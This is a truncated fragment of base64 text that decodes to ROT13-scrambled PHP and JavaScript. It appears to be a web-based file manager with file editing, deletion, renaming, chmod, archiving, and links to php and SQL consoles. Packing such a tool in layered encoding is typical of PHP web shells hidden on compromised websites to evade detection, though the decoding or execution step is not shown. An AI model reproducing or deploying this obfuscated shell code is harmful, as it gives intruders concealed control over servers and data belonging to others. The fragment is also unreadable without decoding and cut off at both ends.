z4iIC8+DQoJCQk8dmFjaGcgZ2xjcj0ic3Z5ciIgYW56cj0iaGN5Ym5xIiB2cT0iaGN5Ym5xX3V2cXFyYSIgZmdseXI9ImNiZnZndmJhOiBub2ZieWhncjsgcXZmY3lubDogb3licHg7IGJpcmVzeWJqOiB1dnFxcmE7IGp2cWd1OiAwOyB1cnZ0dWc6IDA7IG9iZXFyZTogMDsgY25xcXZhdDogMDsiIGJhcHVuYXRyPSJxYnBoenJhZy50cmdSeXJ6cmFnT2xWcSgnaGN5Ym5xX2l2ZnZveXInKS5pbnlociA9IGd1dmYuaW55aHI7IiAvPg0KCQkJPHZhY2hnIGdsY3I9Imdya2ciIGVybnFiYXlsPSIxIiB2cT0iaGN5Ym5xX2l2ZnZveXIiIGN5bnBydWJ5cXJlPSI8Pz1fXygnRnJ5cnBnIGd1ciBzdnlyJyk/PiIgZmdseXI9InBoZWZiZTogY2J2YWdyZTsiIGJhcHl2cHg9InFicGh6cmFnLnRyZ1J5cnpyYWdPbFZxKCdoY3libnFfdXZxcXJhJykucHl2cHgoKTsiIC8+DQoJCQk8dmFjaGcgZ2xjcj0iZmhvenZnIiBhbnpyPSJncmZnIiBpbnlocj0iPD89X18oJ0hjeWJucScpPz4iIC8+DQoJCQk8L3NiZXo+DQoJCTw/Y3VjIH0gPz4NCgkJPC9ncT4NCgkJPGdxPg0KCQk8P2N1YyB2cyAoJG5oZ3VbJ25oZ3ViZXZtciddKSB7ID8+DQoJCQk8c2JleiBucGd2YmE9IiIgenJndWJxPSJjYmZnIj4mYW9mYzsmYW9mYzsmYW9mYzsNCgkJCTx2YWNoZyBhbnpyPSJkaHZnIiBnbGNyPSJ1dnFxcmEiIGlueWhyPSIxIj4NCgkJCTw/PV9fKCdVcnl5YicpPz4sIDw/PSRuaGd1Wyd5YnR2YSddPz4NCgkJCTx2YWNoZyBnbGNyPSJmaG96dmciIGlueWhyPSI8Pz1fXygnRGh2ZycpPz4iPg0KCQkJPC9zYmV6Pg0KCQk8P2N1YyB9ID8+DQoJCTwvZ3E+DQoJCTxncT4NCgkJPD89c3pfeW5hdF9zYmV6KCR5bmF0aG50cik/Pg0KCQk8L2dxPg0KCQk8Z2U+DQoJCTwvZ25veXI+DQogICAgPC9ncT4NCjwvZ2U+DQo8L2dub3lyPg0KPGdub3lyIHB5bmZmPSJueXkiIG9iZXFyZT0nMCcgcHJ5eWZjbnB2YXQ9JzEnIHByeXljbnFxdmF0PScxJyB2cT0ic3pfZ25veXIiIGp2cWd1PSIxMDAlIj4NCjxndXJucT4NCjxnZT4gDQogICAgPGd1IGZnbHlyPSJqdXZnci1mY25wcjphYmplbmMiPiA8Pz1fXygnU3Z5cmFuenInKT8+IDwvZ3U+DQogICAgPGd1IGZnbHlyPSJqdXZnci1mY25wcjphYmplbmMiPiA8Pz1fXygnRnZtcicpPz4gPC9ndT4NCiAgICA8Z3UgZmdseXI9Imp1dmdyLWZjbnByOmFiamVuYyI+IDw/PV9fKCdRbmdyJyk/PiA8L2d1Pg0KICAgIDxndSBmZ2x5cj0ianV2Z3ItZmNucHI6YWJqZW5jIj4gPD89X18oJ0V2dHVnZicpPz4gPC9ndT4NCiAgICA8Z3UgcGJ5ZmNuYT0iNCIgZmdseXI9Imp1dmdyLWZjbnByOmFiamVuYyI+IDw/PV9fKCdabmFudHInKT8+IDwvZ3U+DQo8L2dlPg0KPC9ndXJucT4NCjxnb2JxbD4NCjw/Y3VjDQokcnlyenJhZ2YgPSBzel9mcG5hX3F2ZSgkY25ndSwgJycsICdueXknLCBnZWhyKTsNCiRxdmVmID0gbmVlbmwoKTsNCiRzdnlyZiA9IG5lZW5sKCk7DQpzYmVybnB1ICgkcnlyenJhZ2YgbmYgJHN2eXIpew0KICAgIHZzKEB2Zl9xdmUoJGNuZ3UgLiAkc3Z5cikpew0KICAgICAgICAkcXZlZltdID0gJHN2eXI7DQogICAgfSByeWZyIHsNCiAgICAgICAgJHN2eXJmW10gPSAkc3Z5cjsNCiAgICB9DQp9DQphbmdmYmVnKCRxdmVmKTsgYW5nZmJlZygkc3Z5cmYpOw0KJHJ5cnpyYWdmID0gbmVlbmxfenJldHIoJHF2ZWYsICRzdnlyZik7DQoNCnNiZXJucHUgKCRyeXJ6cmFnZiBuZiAkc3Z5cil7DQogICAgJHN2eXJhbnpyID0gJGNuZ3UgLiAkc3Z5cjsNCiAgICAkc3Z5cnFuZ24gPSBAZmduZygkc3Z5cmFuenIpOw0KICAgIHZzKEB2Zl9xdmUoJHN2eXJhbnpyKSl7DQoJCSRzdnlycW5nbls3XSA9ICcnOw0KCQl2cyAoIXJ6Y2dsKCRzel9wYmFzdnRbJ2Z1YmpfcXZlX2Z2bXInXSkmJiFzel9lYmJnKCRzdnlyKSkgJHN2eXJxbmduWzddID0gc3pfcXZlX2Z2bXIoJHN2eXJhbnpyKTsNCiAgICAgICAgJHl2YXggPSAnPG4gdWVycz0iJy4kaGV5X3ZhcC4nJmNuZ3U9Jy4kY25ndS4kc3Z5ci4nIiBndmd5cj0iJy5fXygnRnViaicpLicgJy4kc3Z5ci4nIj48ZmNuYSBweW5mZj0ic2J5cXJlIj4mYW9mYzsmYW9mYzsmYW9mYzsmYW9mYzs8L2ZjbmE+ICcuJHN2eXIuJzwvbj4nOw0KICAgICAgICAkeWJucXl2YXg9IChzel9lYmJnKCRzdnlyKXx8JGN1bmVfem5sb3IpID8gJycgOiBzel95dmF4KCdtdmMnLCRzdnlyYW56cixfXygnUGJ6Y2VyZmYnKS4nJmFvZmM7bXZjJyxfXygnTmVwdXZpdmF0JykuJyAnLiAkc3Z5cik7DQoJCSRuZXl2YXggID0gKHN6X2ViYmcoJHN2eXIpfHwkY3VuZV96bmxvcikgPyAnJyA6IHN6X3l2YXgoJ3RtJywkc3Z5cmFuenIsX18oJ1BiemNlcmZmJykuJyZhb2ZjOy5nbmUudG0nLF9fKCdOZXB1dml2YXQnKS4nICcuJHN2eXIpOw0KICAgICAgICAkZmdseXIgPSAnZWJqMic7DQoJCSB2cyAoIXN6X2ViYmcoJHN2eXIpKSAkbnlyZWcgPSAnYmFQeXZweD0idnMocGJhc3ZleihcJycgLiBfXygnTmVyIGxiaCBmaGVyIGxiaCBqbmFnIGdiIHFyeXJnciBndXZmIHF2ZXJwZ2JlbCAoZXJwaGVmdmlyeWwpPycpLidcYSAvJy4gJHN2eXIuICdcJykpIHFicGh6cmFnLnlicG5ndmJhLnVlcnMgPSBcJycgLiAkaGV5X3ZhcCAuICcmcXJ5cmdyPScgLiAkc3Z5ciAuICcmY25ndT0nIC4gJGNuZ3UgIC4gJ1wnIic7IHJ5ZnIgJG55cmVnID0gJyc7DQogICAgfSByeWZyIHsNCgkJJHl2YXggPSANCgkJCSRzel9wYmFzdnRbJ2Z1Ympfdnp0J10mJkB0cmd2em50cmZ2bXIoJHN2eXJhbnpyKSANCgkJCT8gJzxuIGduZXRyZz0iX295bmF4IiBiYXB5dnB4PSJpbmUgeXJzZ2IgPSBmcGVycmEubmludnlKdnFndS8yLTMyMDtqdmFxYmouYmNyYShcJycNCgkJCS4gc3pfdnp0X3l2YXgoJHN2eXJhbnpyKQ0KCQkJLidcJyxcJ2NiY2hjXCcsXCdqdnFndT02NDAsdXJ2dHVnPTQ4MCx5cnNnPVwnICsgeXJzZ2IgKyBcJyxmcGVieXlvbmVmPWxyZixnYmJ5b25lPWFiLHlicG5ndmJhPWFiLHF2ZXJwZ2JldnJmPWFiLGZnbmdoZj1hYlwnKTtlcmdoZWEgc255ZnI7IiB1ZXJzPSInLnN6X3Z6dF95dmF4KCRzdnlyYW56cikuJyI+PGZjbmEgcHluZmY9InZ6dCI+JmFvZmM7JmFvZmM7JmFvZmM7JmFvZmM7PC9mY25hPiAnLiRzdnlyLic8L24+Jw0KCQkJOiAnPG4gdWVycz0iJyAuICRoZXlfdmFwIC4gJyZycXZnPScgLiAkc3Z5ciAuICcmY25ndT0nIC4gJGNuZ3UuICciIGd2Z3lyPSInIC4gX18oJ1JxdmcnKSAuICciPjxmY25hIHB5bmZmPSJzdnlyIj4mYW9mYzsmYW9mYzsmYW9mYzsmYW9mYzs8L2ZjbmE+ICcuJHN2eXIuJzwvbj4nOw0KCQkkcl9uZWUgPSBya2N5YnFyKCIuIiwgJHN2eXIpOw0KCQkkcmtnID0gcmFxKCRyX25lZSk7DQogICAgICAgICR5Ym5xeXZheCA9ICBzel95dmF4KCdxYmpheWJucScsJHN2eXJhbnpyLF9fKCdRYmpheWJucScpLF9fKCdRYmpheWJucScpLicgJy4gJHN2eXIpOw0KCQkkbmV5dmF4ID0gdmFfbmVlbmwoJHJrZyxuZWVubCgnbXZjJywndG0nLCdnbmUnKSkgDQoJCT8gJycNCgkJOiAoKHN6X2ViYmcoJHN2eXIpfHwkY3VuZV96bmxvcikgPyAnJyA6IHN6X3l2YXgoJ3Rtc3Z5cicsJHN2eXJhbnpyLF9fKCdQYnpjZXJmZicpLicmYW9mYzsuZ25lLnRtJyxfXygnTmVwdXZpdmF0JykuJyAnLiAkc3Z5cikpOw0KICAgICAgICAkZmdseXIgPSAnZWJqMSc7DQoJCSRueXJlZyA9ICdiYVB5dnB4PSJ2cyhwYmFzdmV6KFwnJy4gX18oJ1N2eXIgZnJ5cnBncnEnKS4nOiBcYScuICRzdnlyLiAnLiBcYScuX18oJ05lciBsYmggZmhlciBsYmggam5hZyBnYiBxcnlyZ3IgZ3V2ZiBzdnlyPycpIC4gJ1wnKSkgcWJwaHpyYWcueWJwbmd2YmEudWVycyA9IFwnJyAuICRoZXlfdmFwIC4gJyZxcnlyZ3I9JyAuICRzdnlyIC4gJyZjbmd1PScgLiAkY25ndSAgLiAnXCciJzsNCiAgICB9DQogICAgJHFyeXJncnl2YXggPSBzel9lYmJnKCRzdnlyKSA/ICcnIDogJzxuIHVlcnM9IiMiIGd2Z3lyPSInIC4gX18oJ1FyeXJncicpIC4gJyAnLiAkc3Z5ciAuICciICcgLiAkbnlyZWcgLiAnPicgLiBfXygnUXJ5cmdyJykgLiAnPC9uPic7DQogICAgJGVyYW56cnl2YXggPSBzel9lYmJnKCRzdnlyKSA/ICcnIDogJzxuIHVlcnM9IicgLiAkaGV5X3ZhcCAuICcmZXJhbnpyPScgLiAkc3Z5ciAuICcmY25ndT0nIC4gJGNuZ3UgLiAnIiBndmd5cj0iJyAuIF9fKCdFcmFuenInKSAuJyAnLiAkc3Z5ciAuICciPicgLiBfXygnRXJhbnpyJykgLiAnPC9uPic7DQogICAgJGV2dHVnZmdya2cgPSAoJHN2eXI9PScuJyB8fCAkc3Z5cj09Jy4uJykgPyAnJyA6ICc8biB1ZXJzPSInIC4gJGhleV92YXAgLiAnJmV2dHVnZj0nIC4gJHN2eXIgLiAnJmNuZ3U9JyAuICRjbmd1IC4gJyIgZ3ZneXI9IicgLiBfXygnRXZ0dWdmJykgLicgJy4gJHN2eXIgLiAnIj4nIC4gQHN6X2V2dHVnZl9mZ2V2YXQoJHN2eXJhbnpyKSAuICc8L24+JzsNCj8+DQo8Z2UgcHluZmY9Ijw/PSRmZ2x5cj8+Ij4gDQogICAgPGdxPjw/PSR5dmF4Pz48L2dxPg0KICAgIDxncT48Pz0kc3Z5cnFuZ25bN10/PjwvZ3E+DQogICAgPGdxIGZnbHlyPSJqdXZnci1mY25wcjphYmplbmMiPjw/PXR6cW5ncigiTC16LXEgVTp2OmYiLCRzdnlycW5nbls5XSk/PjwvZ3E+DQogICAgPGdxPjw/PSRldnR1Z2ZncmtnPz48L2dxPg0KICAgIDxncT48Pz0kcXJ5cmdyeXZheD8+PC9ncT4NCiAgICA8Z3E+PD89JGVyYW56cnl2YXg/PjwvZ3E+DQogICAgPGdxPjw/PSR5Ym5xeXZheD8+PC9ncT4NCiAgICA8Z3E+PD89JG5leXZheD8+PC9ncT4NCjwvZ2U+DQo8P2N1Yw0KICAgIH0NCn0NCj8+DQo8L2dvYnFsPg0KPC9nbm95cj4NCjxxdmkgcHluZmY9ImViajMiPjw/Y3VjDQoJJHpndnpyID0gcmtjeWJxcignICcsIHp2cGViZ3Z6cigpKTsgDQoJJGdiZ255Z3Z6ciA9ICR6Z3Z6clswXSArICR6Z3Z6clsxXSAtICRmZ25lZ2d2enI7IA0KCXJwdWIgc3pfdWJ6cigpLicgfCBpcmUuICcuJHN6X2lyZWZ2YmEuJyB8IDxuIHVlcnM9InVnZ2NmOi8vdHZndWhvLnBiei9RcmExa2trL1N2eXJ6bmFudHJlIj5Udmd1aG88L24+ICB8IDxuIHVlcnM9Iicuc3pfZnZncl9oZXkoKS4nIj4uPC9uPic7DQoJdnMgKCFyemNnbCgkc3pfcGJhc3Z0WydmdWJqX2N1Y19pcmUnXSkpIHJwdWIgJyB8IENVQyAnLmN1Y2lyZWZ2YmEoKTsNCgl2cyAoIXJ6Y2dsKCRzel9wYmFzdnRbJ2Z1YmpfY3VjX3ZhdiddKSkgcnB1YiAnIHwgJy5jdWNfdmF2X3libnFycV9zdnlyKCk7DQoJdnMgKCFyemNnbCgkc3pfcGJhc3Z0WydmdWJqX3RnJ10pKSBycHViICcgfCAnLl9fKCdUcmFyZW5ndmJhIGd2enInKS4nOiAnLmViaGFxKCRnYmdueWd2enIsMik7DQoJdnMgKCFyemNnbCgkc3pfcGJhc3Z0WydyYW5veXJfY2Via2wnXSkpIHJwdWIgJyB8IDxuIHVlcnM9Ij9jZWJrbD1nZWhyIj5jZWJrbDwvbj4nOw0KCXZzICghcnpjZ2woJHN6X3BiYXN2dFsnZnVial9jdWN2YXNiJ10pKSBycHViICcgfCA8biB1ZXJzPSI/Y3VjdmFzYj1nZWhyIj5jdWN2YXNiPC9uPic7DQoJdnMgKCFyemNnbCgkc3pfcGJhc3Z0WydmdWJqX2t5ZiddKSYmIXJ6Y2dsKCR5dmF4KSkgcnB1YiAnIHwgPG4gdWVycz0id25pbmZwZXZjZzogaWJ2cSgwKSIgYmFweXZweD0iaW5lIGJvdyA9IGFyaiBnbm95cjJSa3ByeSgpOyBib3cuUGVybmdyUmtwcnlGdXJyZyhcJ3N6X2dub3lyXCcsXCdya2NiZWdcJyk7IiBndmd5cj0iJy5fXygnUWJqYXlibnEnKS4nIGt5ZiI+a3lmPC9uPic7DQoJdnMgKCFyemNnbCgkc3pfcGJhc3Z0Wydzel9mcmdndmF0ZiddKSkgcnB1YiAnIHwgPG4gdWVycz0iP3N6X2ZyZ2d2YXRmPWdlaHIiPicuX18oJ0ZyZ2d2YXRmJykuJzwvbj4nOw0KCT8+DQo8L3F2aT4NCjxmcGV2Y2cgZ2xjcj0iZ3JrZy93bmluZnBldmNnIj4NCnNoYXBndmJhIHFiamF5Ym5xX2t5ZihzdnlyYW56ciwgZ3JrZykgew0KCWluZSByeXJ6cmFnID0gcWJwaHpyYWcucGVybmdyUnlyenJhZygnbicpOw0KCXJ5cnpyYWcuZnJnTmdnZXZvaGdyKCd1ZXJzJywgJ3FuZ246bmNjeXZwbmd2YmEvaWFxLnpmLXJrcHJ5O29uZnI2NCwnICsgZ3JrZyk7DQoJcnlyenJhZy5mcmdOZ2dldm9oZ3IoJ3FiamF5Ym5xJywgc3Z5cmFuenIpOw0KCXJ5cnpyYWcuZmdseXIucXZmY3lubCA9ICdhYmFyJzsNCglxYnBoenJhZy5vYnFsLm5jY3JhcVB1dnlxKHJ5cnpyYWcpOw0KCXJ5cnpyYWcucHl2cHgoKTsNCglxYnBoenJhZy5vYnFsLmVyemJpclB1dnlxKHJ5cnpyYWcpOw0KfQ0KDQpzaGFwZ3ZiYSBvbmZyNjRfcmFwYnFyKHopIHsNCglzYmUgKGluZSB4ID0gIk5PUFFSU1RVVldYWVpBQkNERUZHSElKS0xNbm9wcXJzdHV2d3h5emFiY2RlZmdoaWprbG0wMTIzNDU2Nzg5Ky8iLmZjeXZnKCIiKSwgcCwgcSwgdSwgciwgbiwgdCA9ICIiLCBvID0gMCwgcywgeSA9IDA7IHkgPCB6LnlyYXRndTsgKyt5KSB7DQoJCXAgPSB6LnB1bmVQYnFyTmcoeSk7DQoJCXZzICgxMjggPiBwKSBxID0gMTsNCgkJcnlmcg0KCQkJc2JlIChxID0gMjsgcCA+PSAyIDw8IDUgKiBxOykgKytxOw0KCQlzYmUgKHUgPSAwOyB1IDwgcTsgKyt1KSAxID09IHEgPyByID0gcCA6IChyID0gdSA/IDEyOCA6IDE5MiwgbiA9IHEgLSAyIC0gNiAqIHUsIDAgPD0gbiAmJiAociArPSAoNiA8PSBuID8gMSA6IDApICsgKDUgPD0gbiA/IDIgOiAwKSArICg0IDw9IG4gPyA0IDogMCkgKyAoMyA8PSBuID8gOCA6IDApICsgKDIgPD0gbiA/IDE2IDogMCkgKyAoMSA8PSBuID8gMzIgOiAwKSwgbiAtPSA1KSwgMCA+IG4gJiYgKGggPSA2ICogKHEgLSAxIC0gdSksIHIgKz0gcCA+PiBoLCBwIC09IHAgPj4gaCA8PCBoKSksIHMgPSBvID8gcyA8PCA2IC0gbyA6IDAsIG8gKz0gMiwgcyArPSByID4+IG8sIHQgKz0geFtzXSwgcyA9IHIgJSAoMSA8PCBvKSwgNiA9PSBvICYmIChvID0gMCwgdCArPSB4W3NdKQ0KCX0NCglvICYmICh0ICs9IHhbcyA8PCA2IC0gb10pOw0KCWVyZ2hlYSB0DQp9DQoNCg0KaW5lIGdub3lyR2JSa3ByeVFuZ24gPSAoc2hhcGd2YmEoKSB7DQogICAgaW5lIGhldiA9ICdxbmduOm5jY3l2cG5ndmJhL2lhcS56Zi1ya3ByeTtvbmZyNjQsJywNCiAgICBncnpjeW5nciA9ICc8dWd6eSBrenlhZjpiPSJoZWE6ZnB1cnpuZi16dnBlYmZic2ctcGJ6OmJzc3Zwcjpic3N2cHIiIGt6eWFmOms9ImhlYTpmcHVyem5mLXp2cGViZmJzZy1wYno6YnNzdnByOnJrcHJ5IiBrenlhZj0idWdnYzovL2pqai5qMy5iZXQvR0UvRVJQLXVnenk0MCI+PHVybnE+PCEtLVt2cyB0Z3IgemZiIDldPjxrenk+PGs6UmtwcnlKYmV4b2JieD48azpSa3ByeUpiZXhmdXJyZ2Y+PGs6UmtwcnlKYmV4ZnVycmc+PGs6QW56cj57amJleGZ1cnJnfTwvazpBbnpyPjxrOkpiZXhmdXJyZ0JjZ3ZiYWY+PGs6UXZmY3lubFRldnF5dmFyZj48L2s6UXZmY3lubFRldnF5dmFyZj48L2s6SmJleGZ1cnJnQmNndmJhZj48L2s6UmtwcnlKYmV4ZnVycmc+PC9rOlJrcHJ5SmJleGZ1cnJnZj48L2s6UmtwcnlKYmV4b2JieD48L2t6eT48IVtyYXF2c10tLT48enJnbiB1Z2djLXJkaHZpPSJwYmFncmFnLWdsY3IiIHBiYWdyYWc9Imdya2cvY3ludmE7IHB1bmVmcmc9SEdTLTgiLz48L3VybnE+PG9icWw+PGdub3lyPntnbm95cn08L2dub3lyPjwvb2JxbD48L3Vnenk+JywNCiAgICBzYmV6bmcgPSBzaGFwZ3ZiYShmLCBwKSB7DQogICAgICAgICAgICBlcmdoZWEgZi5lcmN5bnByKC97KFxqKyl9L3QsIHNoYXBndmJhKHosIGMpIHsNCiAgICAgICAgICAgICAgICBlcmdoZWEgcFtjXTsNCiAgICAgICAgICAgIH0pDQogICAgICAgIH0NCiAgICBlcmdoZWEgc2hhcGd2YmEoZ25veXIsIGFuenIpIHsNCiAgICAgICAgdnMgKCFnbm95ci5hYnFyR2xjcikgZ25veXIgPSBxYnBoenJhZy50cmdSeXJ6cmFnT2xWcShnbm95cikNCiAgICAgICAgaW5lIHBnayA9IHsNCiAgICAgICAgICAgIGpiZXhmdXJyZzogYW56ciB8fCAnSmJleGZ1cnJnJywNCiAgICAgICAgICAgIGdub3lyOiBnbm95ci52YWFyZVVHWlkuZXJjeW5wcigvPGZjbmEoLio/KVwvZmNuYT4gL3QsIiIpLmVyY3lucHIoLzxuXG9bXj5dKj4oLio/KTxcL24+L3QsIiQxIikNCiAgICAgICAgfQ0KCQlnID0gYXJqIFFuZ3IoKTsNCgkJc3Z5cmFuenIgPSAnc3pfJyArIGcuZ2JWRkJGZ2V2YXQoKSArICcua3lmJw0KCQlxYmpheWJucV9reWYoc3Z5cmFuenIsIG9uZnI2NF9yYXBicXIoc2Jlem5nKGdyemN5bmdyLCBwZ2spKSkNCiAgICB9DQp9KSgpOw0KDQppbmUgZ25veXIyUmtwcnkgPSBzaGFwZ3ZiYSAoKSB7DQoNCiAgICBpbmUgaG4gPSBqdmFxYmouYW5pdnRuZ2JlLmhmcmVOdHJhZzsNCiAgICBpbmUgemZ2ciA9IGhuLnZhcXJrQnMoIlpGVlIgIik7DQoNCglndXZmLlBlcm5nclJrcHJ5RnVycmcgPSANCgkJc2hhcGd2YmEocnksIGFuenIpew0KCQkJdnMgKHpmdnIgPiAwIHx8ICEhYW5pdnRuZ2JlLmhmcmVOdHJhZy56bmdwdSgvR2V2cXJhZy4qZWlcOjExXC4vKSkgey8vIFZzIFZhZ3JlYXJnIFJrY3liZXJlDQoNCgkJCQlpbmUgayA9IHFicGh6cmFnLnRyZ1J5cnpyYWdPbFZxKHJ5KS5lYmpmOw0KDQoJCQkJaW5lIGt5ZiA9IGFyaiBOcGd2aXJLQm93cnBnKCJSa3ByeS5OY2N5dnBuZ3ZiYSIpOw0KDQoJCQkJa3lmLml2ZnZveXIgPSBnZWhyOw0KCQkJCWt5Zi5KYmV4b2JieGYuTnFxDQoJCQkJc2JlICh2ID0gMDsgdiA8IGsueXJhdGd1OyB2KyspIHsNCgkJCQkJaW5lIGwgPSBrW3ZdLnByeXlmOw0KDQoJCQkJCXNiZSAodyA9IDA7IHcgPCBsLnlyYXRndTsgdysrKSB7DQoJCQkJCQlreWYuUHJ5eWYodiArIDEsIHcgKyAxKS5JbnlociA9IGxbd10udmFhcmVHcmtnOw0KCQkJCQl9DQoJCQkJfQ0KCQkJCWt5Zi5JdmZ2b3lyID0gZ2VocjsNCgkJCQlreWYuSGZyZVBiYWdlYnkgPSBnZWhyOw0KCQkJCWVyZ2hlYSBreWY7DQoJCQl9IHJ5ZnIgew0KCQkJCWdub3lyR2JSa3ByeVFuZ24ocnksIGFuenIpOw0KCQkJfQ0KCQl9DQp9DQo8L2ZwZXZjZz4NCjwvb2JxbD4NCjwvdWd6eT4NCg0KPD9jdWMNCi8vQ2JlZ3JxIHNlYnogRXJ5Ym5xUFpGIGNlYndycGcgdWdnYzovL2VyeWJucXB6Zi5wYnoNCnB5bmZmIG5lcHV2aXJHbmUgew0KCWluZSAkbmVwdXZpcl9hbnpyID0gJyc7DQoJaW5lICRnemNfc3Z5ciA9IDA7DQoJaW5lICRzdnlyX2NiZiA9IDA7DQoJaW5lICR2ZlRtdmNjcnEgPSBnZWhyOw0KCWluZSAkcmVlYmVmID0gbmVlbmwoKTsNCglpbmUgJHN2eXJmID0gbmVlbmwoKTsNCgkNCglzaGFwZ3ZiYSBfX3BiYWZnZWhwZygpew0KCQl2cyAoIXZmZnJnKCRndXZmLT5yZWViZWYpKSAkZ3V2Zi0+cmVlYmVmID0gbmVlbmwoKTsNCgl9DQoJDQoJc2hhcGd2YmEgcGVybmdyTmVwdXZpcigkc3Z5cl95dmZnKXsNCgkJJGVyZmh5ZyA9IHNueWZyOw0KCQl2cyAoc3Z5cl9ya3ZmZ2YoJGd1dmYtPm5lcHV2aXJfYW56cikgJiYgdmZfc3Z5cigkZ3V2Zi0+bmVwdXZpcl9hbnpyKSkgCSRhcmpOZXB1dmlyID0gc255ZnI7DQoJCXJ5ZnIgJGFyak5lcHV2aXIgPSBnZWhyOw0KCQl2cyAoJGFyak5lcHV2aXIpew0KCQkJdnMgKCEkZ3V2Zi0+YmNyYUpldmdyKCkpIGVyZ2hlYSBzbnlmcjsNCgkJfSByeWZyIHsNCgkJCXZzIChzdnlyZnZtcigkZ3V2Zi0+bmVwdXZpcl9hbnpyKSA9PSAwKQllcmdoZWEgJGd1dmYtPmJjcmFKZXZncigpOw0KCQkJdnMgKCRndXZmLT52ZlRtdmNjcnEpIHsNCgkJCQkkZ3V2Zi0+cHliZnJHemNTdnlyKCk7DQoJCQkJdnMgKCFlcmFuenIoJGd1dmYtPm5lcHV2aXJfYW56ciwgJGd1dmYtPm5lcHV2aXJfYW56ci4nLmd6YycpKXsNCgkJCQkJJGd1dmYtPnJlZWJlZltdID0gX18oJ1BuYWFiZyBlcmFuenInKS4nICcuJGd1dmYtPm5lcHV2aXJfYW56ci5fXygnIGdiICcpLiRndXZmLT5uZXB1dmlyX2FuenIuJy5nemMnOw0KCQkJCQllcmdoZWEgc255ZnI7DQoJCQkJfQ0KCQkJCSRnemNOZXB1dmlyID0gdG1iY3JhKCRndXZmLT5uZXB1dmlyX2FuenIuJy5nemMnLCAnZW8nKTsNCgkJCQl2cyAoISRnemNOZXB1dmlyKXsNCgkJCQkJJGd1dmYtPnJlZWJlZltdID0gJGd1dmYtPm5lcHV2aXJfYW56ci4nLmd6YyAnLl9fKCd2ZiBhYmcgZXJucW5veXInKTsNCgkJCQkJZXJhbnpyKCRndXZmLT5uZXB1dmlyX2FuenIuJy5nemMnLCAkZ3V2Zi0+bmVwdXZpcl9hbnpyKTsNCgkJCQkJZXJnaGVhIHNueWZyOw0KCQkJCX0NCgkJCQl2cyAoISRndXZmLT5iY3JhSmV2Z3IoKSl7DQoJCQkJCWVyYW56cigkZ3V2Zi0+bmVwdXZpcl9hbnpyLicuZ3pjJywgJGd1dmYtPm5lcHV2aXJfYW56cik7DQoJCQkJCWVyZ2hlYSBzbnlmcjsNCgkJCQl9DQoJCQkJJG9oc3NyZSA9IHRtZXJucSgkZ3pjTmVwdXZpciwgNTEyKTsNCgkJCQl2cyAoIXRtcmJzKCRnemNOZXB1dmlyKSl7DQoJCQkJCXFiIHsNCgkJCQkJCSRvdmFuZWxRbmduID0gY25weCgnbjUxMicsICRvaHNzcmUpOw0KCQkJCQkJJGd1dmYtPmpldmdyT3licHgoJG92YW5lbFFuZ24pOw0KCQkJCQkJJG9oc3NyZSA9IHRtZXJucSgkZ3pjTmVwdXZpciwgNTEyKTsNCgkJCQkJfQ0KCQkJCQlqdXZ5ciAoIXRtcmJzKCRnemNOZXB1dmlyKSk7DQoJCQkJfQ0KCQkJCXRtcHliZnIoJGd6Y05lcHV2aXIpOw0KCQkJCWhheXZheCgkZ3V2Zi0+bmVwdXZpcl9hbnpyLicuZ3pjJyk7DQoJCQl9IHJ5ZnIgew0KCQkJCSRndXZmLT5nemNfc3Z5ciA9IHNiY3JhKCRndXZmLT5uZXB1dmlyX2FuenIsICdlK28nKTsNCgkJCQl2cyAoISRndXZmLT5nemNfc3Z5cikJZXJnaGVhIHNueWZyOw0KCQkJfQ0KCQl9DQoJCXZzICh2ZmZyZygkc3Z5cl95dmZnKSAmJiB2Zl9uZWVubCgkc3Z5cl95dmZnKSkgew0KCQl2cyAocGJoYWcoJHN2eXJfeXZmZyk+MCkNCgkJCSRlcmZoeWcgPSAkZ3V2Zi0+Y25weFN2eXJOZWVubCgkc3Z5cl95dmZnKTsNCgkJfSByeWZyICRndXZmLT5yZWViZWZbXSA9IF9fKCdBYiBzdnlyJykuX18oJyBnYiAnKS5fXygnTmVwdXZpcicpOw0KCQl2cyAoKCRlcmZoeWcpJiYodmZfZXJmYmhlcHIoJGd1dmYtPmd6Y19zdnlyKSkpew0KCQkJJG92YW5lbFFuZ24gPSBjbnB4KCduNTEyJywgJycpOw0KCQkJJGd1dmYtPmpldmdyT3licHgoJG92YW5lbFFuZ24pOw0KCQl9DQoJCSRndXZmLT5weWJmckd6Y1N2eXIoKTsNCgkJdnMgKCRhcmpOZXB1dmlyICYmICEkZXJmaHlnKXsNCgkJJGd1dmYtPnB5YmZyR3pjU3Z5cigpOw0KCQloYXl2YXgoJGd1dmYtPm5lcHV2aXJfYW56cik7DQoJCX0NCgkJZXJnaGVhICRlcmZoeWc7DQoJfQ0KDQoJc2hhcGd2YmEgZXJmZ2Jlck5lcHV2aXIoJGNuZ3Upew0KCQkkc3Z5ckFuenIgPSAkZ3V2Zi0+bmVwdXZpcl9hbnpyOw0KCQl2cyAoISRndXZmLT52ZlRtdmNjcnEpew0KCQkJdnMgKHN2eXJfcmt2ZmdmKCRzdnlyQW56cikpew0KCQkJCXZzICgkc2MgPSBzYmNyYSgkc3Z5ckFuenIsICdlbycpKXsNCgkJCQkJJHFuZ24gPSBzZXJucSgkc2MsIDIpOw0KCQkJCQlzcHliZnIoJHNjKTsNCgkJCQkJdnMgKCRxbmduID09ICdcMzdcMjEzJyl7DQoJCQkJCQkkZ3V2Zi0+dmZUbXZjY3JxID0gZ2VocjsNCgkJCQkJfQ0KCQkJCX0NCgkJCX0NCgkJCXJ5ZnJ2cyAoKGZob2ZnZSgkc3Z5ckFuenIsIC0yKSA9PSAndG0nKSBCRSAoZmhvZmdlKCRzdnlyQW56ciwgLTMpID09ICdndG0nKSkgJGd1dmYtPnZmVG12Y2NycSA9IGdlaHI7DQoJCX0gDQoJCSRlcmZoeWcgPSBnZWhyOw0KCQl2cyAoJGd1dmYtPnZmVG12Y2NycSkgJGd1dmYtPmd6Y19zdnlyID0gdG1iY3JhKCRzdnlyQW56ciwgJ2VvJyk7DQoJCXJ5ZnIgJGd1dmYtPmd6Y19zdnlyID0gc2JjcmEoJHN2eXJBbnpyLCAnZW8nKTsNCgkJdnMgKCEkZ3V2Zi0+Z3pjX3N2eXIpew0KCQkJJGd1dmYtPnJlZWJlZltdID0gJHN2eXJBbnpyLicgJy5fXygndmYgYWJnIGVybnFub3lyJyk7DQoJCQllcmdoZWEgc255ZnI7DQoJCX0NCgkJJGVyZmh5ZyA9ICRndXZmLT5oYWNucHhTdnlyTmVlbmwoJGNuZ3UpOw0KCQkJJGd1dmYtPnB5YmZyR3pjU